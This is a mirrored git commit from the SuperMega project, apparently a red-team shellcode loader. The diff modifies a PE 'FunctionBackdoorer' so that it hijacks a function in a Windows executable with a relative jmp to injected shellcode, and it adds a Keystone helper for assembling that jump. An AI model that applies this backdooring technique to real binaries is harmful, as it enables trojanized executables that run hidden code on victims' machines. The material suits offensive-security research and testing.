mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: remove addingrelocation by making function hijack a relative jmp
This commit is contained in:
+6
-10
@@ -8,11 +8,13 @@ import pefile
|
||||
import capstone
|
||||
import keystone
|
||||
import logging
|
||||
from intervaltree import *
|
||||
|
||||
from utils import hexdump
|
||||
from pe.superpe import SuperPe
|
||||
from model.defs import *
|
||||
from intervaltree import *
|
||||
from pe.pehelper import assemble_relative_call, assemble_relative_jmp
|
||||
|
||||
logger = logging.getLogger("DerBackdoorer")
|
||||
|
||||
|
||||
@@ -40,10 +42,11 @@ class FunctionBackdoorer:
|
||||
if addr is None:
|
||||
raise Exception("Couldn't find a suitable instruction to backdoor")
|
||||
|
||||
compiled_trampoline, text_trampoline, trampoline_reloc_offset = self.get_trampoline(addr, shellcode_addr)
|
||||
compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr)
|
||||
logger.info("--[ Backdoor 0x{:X}: {}".format(
|
||||
addr, text_trampoline))
|
||||
addr, compiled_trampoline.hex()))
|
||||
|
||||
# Check for overlap
|
||||
it = IntervalTree()
|
||||
it.addi(addr, addr+len(compiled_trampoline))
|
||||
if it.overlap(shellcode_addr, shellcode_addr+shellcode_len):
|
||||
@@ -55,13 +58,6 @@ class FunctionBackdoorer:
|
||||
# write
|
||||
self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
|
||||
|
||||
# relocs
|
||||
relocs = (
|
||||
addr + trampoline_reloc_offset,
|
||||
)
|
||||
pageRva = 4096 * int((addr + trampoline_reloc_offset) / 4096)
|
||||
self.superpe.addImageBaseRelocations(pageRva, relocs)
|
||||
|
||||
|
||||
def find_suitable_instruction_addr(self, startOffset, length=256):
|
||||
"""Find a instruction to backdoor. Recursively."""
|
||||
|
||||
+11
-5
@@ -77,14 +77,12 @@ def assemble_lea(current_address: int, destination_address: int, reg: str) -> by
|
||||
machine_code = bytes(encoding)
|
||||
return machine_code
|
||||
|
||||
def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
|
||||
#logger.info(" Make jmp from 0x{:X} to 0x{:X}".format(
|
||||
# current_address, destination_address
|
||||
#))
|
||||
|
||||
def assemble_relative_call(current_address: int, destination_address: int) -> bytes:
|
||||
# Calculate the relative offset
|
||||
# For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
|
||||
offset = destination_address - current_address
|
||||
|
||||
|
||||
# Assemble the jump instruction using Keystone
|
||||
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
||||
encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]")
|
||||
@@ -98,6 +96,14 @@ def assemble_and_disassemble_jump(current_address: int, destination_address: int
|
||||
return machine_code
|
||||
|
||||
|
||||
def assemble_relative_jmp(current_address: int, destination_address: int) -> bytes:
|
||||
offset = destination_address - current_address
|
||||
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
||||
encoding, _ = ks.asm(f"jmp {offset}")
|
||||
machine_code = bytes(encoding)
|
||||
return machine_code
|
||||
|
||||
|
||||
## Utils
|
||||
|
||||
def remove_trailing_null_bytes(data: bytes) -> bytes:
|
||||
|
||||
Reference in New Issue
Block a user